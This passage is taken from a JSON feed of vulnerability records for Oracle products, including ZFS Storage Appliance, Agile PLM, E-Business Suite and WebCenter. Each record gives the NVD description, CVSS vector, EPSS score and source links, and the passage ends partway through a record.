fixes.","publishedAt":"2026-10-20T22:20:56.950Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91532","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00447,"percentile":0.38569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91532&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91532","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91532","type":"primary","publishedAt":"2026-10-20T22:20:56.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91532&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91532, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91527","cveId":"CVE-2026-91527","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).","summary":"Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).   The supported version that is affected is 8.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit.  Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core).   The supported version that is affected is 8.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit.  Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:56.603Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91527","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00447,"percentile":0.3857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91527&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91527","type":"primary","publishedAt":"2026-10-20T22:20:56.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91527&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91527, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91521","cveId":"CVE-2026-91521","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:56.127Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91521","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00328,"percentile":0.25721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91521","type":"primary","publishedAt":"2026-10-20T22:20:56.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91520","cveId":"CVE-2026-91520","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:56.010Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91520","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00447,"percentile":0.38566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91520","type":"primary","publishedAt":"2026-10-20T22:20:56.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91517","cveId":"CVE-2026-91517","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).","summary":"Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).  Supported versions that are affected are 13.4.1.0.1-13.5.2.0.6. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Management Pack for Oracle GoldenGate executes to compromise Oracle Management Pack for Oracle GoldenGate.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Management Pack for Oracle GoldenGate. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Management Pack for Oracle GoldenGate product of Oracle GoldenGate (component: EM Plugin).  Supported versions that are affected are 13.4.1.0.1-13.5.2.0.6. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Management Pack for Oracle GoldenGate executes to compromise Oracle Management Pack for Oracle GoldenGate.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Management Pack for Oracle GoldenGate. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:55.670Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91517","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00184,"percentile":0.07866,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91517&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91517","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91517","type":"primary","publishedAt":"2026-10-20T22:20:55.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91517&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91517, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91515","cveId":"CVE-2026-91515","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:55.560Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91515","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0027,"percentile":0.18951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91515","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91515","type":"primary","publishedAt":"2026-10-20T22:20:55.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91512","cveId":"CVE-2026-91512","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:55.337Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91512","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00465,"percentile":0.4002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91512&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91512","type":"primary","publishedAt":"2026-10-20T22:20:55.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91512&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91512, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91511","cveId":"CVE-2026-91511","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  While the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Purchasing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Purchasing accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing.  While the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Purchasing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Purchasing accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:55.223Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91511","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00242,"percentile":0.15194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91511&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91511","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91511","type":"primary","publishedAt":"2026-10-20T22:20:55.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91511&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91511, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91506","cveId":"CVE-2026-91506","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).","summary":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:55.110Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91506","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00294,"percentile":0.21757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91506","type":"primary","publishedAt":"2026-10-20T22:20:55.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91504","cveId":"CVE-2026-91504","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).","summary":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.893Z","updatedAt":"2026-10-24T04:18:27.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91504","asOf":"2026-10-24T04:18:27.140Z"},"epss":{"probability":0.00235,"percentile":0.14264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91504&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 